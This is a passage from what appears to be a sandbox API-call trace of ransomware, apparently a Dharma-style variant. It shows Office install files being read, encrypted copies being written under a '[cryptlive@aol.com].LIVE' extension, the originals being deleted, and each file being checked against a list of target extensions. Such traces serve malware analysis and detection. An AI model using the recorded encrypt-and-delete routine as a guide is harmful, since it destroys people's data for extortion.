office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.389] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.389] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0142.390] GetLastError () returned 0x0 [0142.390] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x72, lpOverlapped=0x0) returned 1 [0142.391] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.392] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.392] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0142.392] SetEndOfFile (hFile=0x36c) returned 1 [0142.392] CloseHandle (hObject=0x36c) returned 1 [0142.392] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.392] SetEndOfFile (hFile=0x1dc) returned 1 [0142.395] CloseHandle (hObject=0x1dc) returned 1 [0142.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 1 [0142.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.396] lstrlenW (lpString=".doc") returned 4 [0142.396] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.396] lstrlenW (lpString=".docx") returned 5 [0142.396] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.396] lstrlenW (lpString=".pdf") returned 4 [0142.396] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.396] lstrlenW (lpString=".xls") returned 4 [0142.396] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.396] lstrlenW (lpString=".xlsx") returned 5 [0142.396] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.396] lstrlenW (lpString=".ppt") returned 4 [0142.396] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.396] lstrlenW (lpString=".zip") returned 4 [0142.396] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.396] lstrlenW (lpString=".rar") returned 4 [0142.396] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.396] lstrlenW (lpString=".bz2") returned 4 [0142.396] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.397] lstrlenW (lpString=".7z") returned 3 [0142.397] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.397] lstrlenW (lpString=".dbf") returned 4 [0142.397] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.397] lstrlenW (lpString=".1cd") returned 4 [0142.397] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.397] lstrlenW (lpString=".jpg") returned 4 [0142.397] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.397] lstrlenW (lpString=".doc") returned 4 [0142.397] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.397] lstrlenW (lpString=".docx") returned 5 [0142.397] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.397] lstrlenW (lpString=".pdf") returned 4 [0142.397] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.397] lstrlenW (lpString=".xls") returned 4 [0142.397] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.397] lstrlenW (lpString=".xlsx") returned 5 [0142.397] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.397] lstrlenW (lpString=".ppt") returned 4 [0142.397] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.397] lstrlenW (lpString=".zip") returned 4 [0142.397] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.397] lstrlenW (lpString=".rar") returned 4 [0142.397] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.397] lstrlenW (lpString=".bz2") returned 4 [0142.397] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.397] lstrlenW (lpString=".7z") returned 3 [0142.397] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.398] lstrlenW (lpString=".dbf") returned 4 [0142.398] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.398] lstrlenW (lpString=".1cd") returned 4 [0142.398] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0142.398] lstrlenW (lpString=".jpg") returned 4 [0142.398] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.398] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.398] lstrlenW (lpString="INFOPATH_K_COL.HXK") returned 18 [0142.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.398] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=113) returned 1 [0142.398] CloseHandle (hObject=0x1dc) returned 1 [0142.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 0x20 [0142.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.399] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.399] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0142.399] GetLastError () returned 0x0 [0142.399] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x71, lpOverlapped=0x0) returned 1 [0142.401] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.401] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.402] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0142.402] SetEndOfFile (hFile=0x36c) returned 1 [0142.402] CloseHandle (hObject=0x36c) returned 1 [0142.402] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.402] SetEndOfFile (hFile=0x1dc) returned 1 [0142.404] CloseHandle (hObject=0x1dc) returned 1 [0142.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 1 [0142.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.405] lstrlenW (lpString=".doc") returned 4 [0142.405] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.405] lstrlenW (lpString=".docx") returned 5 [0142.405] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.405] lstrlenW (lpString=".pdf") returned 4 [0142.405] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.405] lstrlenW (lpString=".xls") returned 4 [0142.405] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.405] lstrlenW (lpString=".xlsx") returned 5 [0142.405] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.405] lstrlenW (lpString=".ppt") returned 4 [0142.405] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.405] lstrlenW (lpString=".zip") returned 4 [0142.405] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.405] lstrlenW (lpString=".rar") returned 4 [0142.406] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.406] lstrlenW (lpString=".bz2") returned 4 [0142.406] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.406] lstrlenW (lpString=".7z") returned 3 [0142.406] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.406] lstrlenW (lpString=".dbf") returned 4 [0142.406] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.406] lstrlenW (lpString=".1cd") returned 4 [0142.406] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.406] lstrlenW (lpString=".jpg") returned 4 [0142.406] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.406] lstrlenW (lpString=".doc") returned 4 [0142.406] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.406] lstrlenW (lpString=".docx") returned 5 [0142.406] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.406] lstrlenW (lpString=".pdf") returned 4 [0142.406] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.406] lstrlenW (lpString=".xls") returned 4 [0142.406] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.406] lstrlenW (lpString=".xlsx") returned 5 [0142.406] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.406] lstrlenW (lpString=".ppt") returned 4 [0142.406] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.406] lstrlenW (lpString=".zip") returned 4 [0142.406] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.406] lstrlenW (lpString=".rar") returned 4 [0142.406] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.406] lstrlenW (lpString=".bz2") returned 4 [0142.406] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.406] lstrlenW (lpString=".7z") returned 3 [0142.407] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.407] lstrlenW (lpString=".dbf") returned 4 [0142.407] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.407] lstrlenW (lpString=".1cd") returned 4 [0142.407] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0142.407] lstrlenW (lpString=".jpg") returned 4 [0142.407] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.407] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0142.407] lstrlenW (lpString="INSTLIST.VRD") returned 12 [0142.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.408] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1899) returned 1 [0142.408] CloseHandle (hObject=0x1dc) returned 1 [0142.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 0x20 [0142.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.409] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.409] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0142.409] GetLastError () returned 0x0 [0142.409] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x76b, lpOverlapped=0x0) returned 1 [0142.411] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x770, lpOverlapped=0x0) returned 1 [0142.412] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.412] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.412] SetEndOfFile (hFile=0x36c) returned 1 [0142.412] CloseHandle (hObject=0x36c) returned 1 [0142.412] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.412] SetEndOfFile (hFile=0x1dc) returned 1 [0142.414] CloseHandle (hObject=0x1dc) returned 1 [0142.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 1 [0142.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.415] lstrlenW (lpString=".doc") returned 4 [0142.415] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0142.415] lstrlenW (lpString=".docx") returned 5 [0142.415] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0142.415] lstrlenW (lpString=".pdf") returned 4 [0142.415] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0142.415] lstrlenW (lpString=".xls") returned 4 [0142.415] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0142.415] lstrlenW (lpString=".xlsx") returned 5 [0142.415] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0142.415] lstrlenW (lpString=".ppt") returned 4 [0142.415] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0142.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.415] lstrlenW (lpString=".zip") returned 4 [0142.415] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0142.415] lstrlenW (lpString=".rar") returned 4 [0142.415] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0142.415] lstrlenW (lpString=".bz2") returned 4 [0142.415] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0142.415] lstrlenW (lpString=".7z") returned 3 [0142.416] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0142.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.416] lstrlenW (lpString=".dbf") returned 4 [0142.416] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0142.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.416] lstrlenW (lpString=".1cd") returned 4 [0142.416] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0142.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.416] lstrlenW (lpString=".jpg") returned 4 [0142.416] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0142.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.416] lstrlenW (lpString=".doc") returned 4 [0142.416] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0142.416] lstrlenW (lpString=".docx") returned 5 [0142.416] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0142.416] lstrlenW (lpString=".pdf") returned 4 [0142.416] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0142.416] lstrlenW (lpString=".xls") returned 4 [0142.416] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0142.416] lstrlenW (lpString=".xlsx") returned 5 [0142.416] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0142.416] lstrlenW (lpString=".ppt") returned 4 [0142.416] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0142.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.416] lstrlenW (lpString=".zip") returned 4 [0142.416] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0142.416] lstrlenW (lpString=".rar") returned 4 [0142.416] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0142.416] lstrlenW (lpString=".bz2") returned 4 [0142.416] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0142.416] lstrlenW (lpString=".7z") returned 3 [0142.416] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0142.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.416] lstrlenW (lpString=".dbf") returned 4 [0142.416] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0142.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.417] lstrlenW (lpString=".1cd") returned 4 [0142.417] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0142.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0142.417] lstrlenW (lpString=".jpg") returned 4 [0142.417] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0142.417] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0142.417] lstrlenW (lpString="INVENTRY.VRD") returned 12 [0142.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.417] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=818) returned 1 [0142.417] CloseHandle (hObject=0x1dc) returned 1 [0142.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 0x20 [0142.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.418] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.418] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, 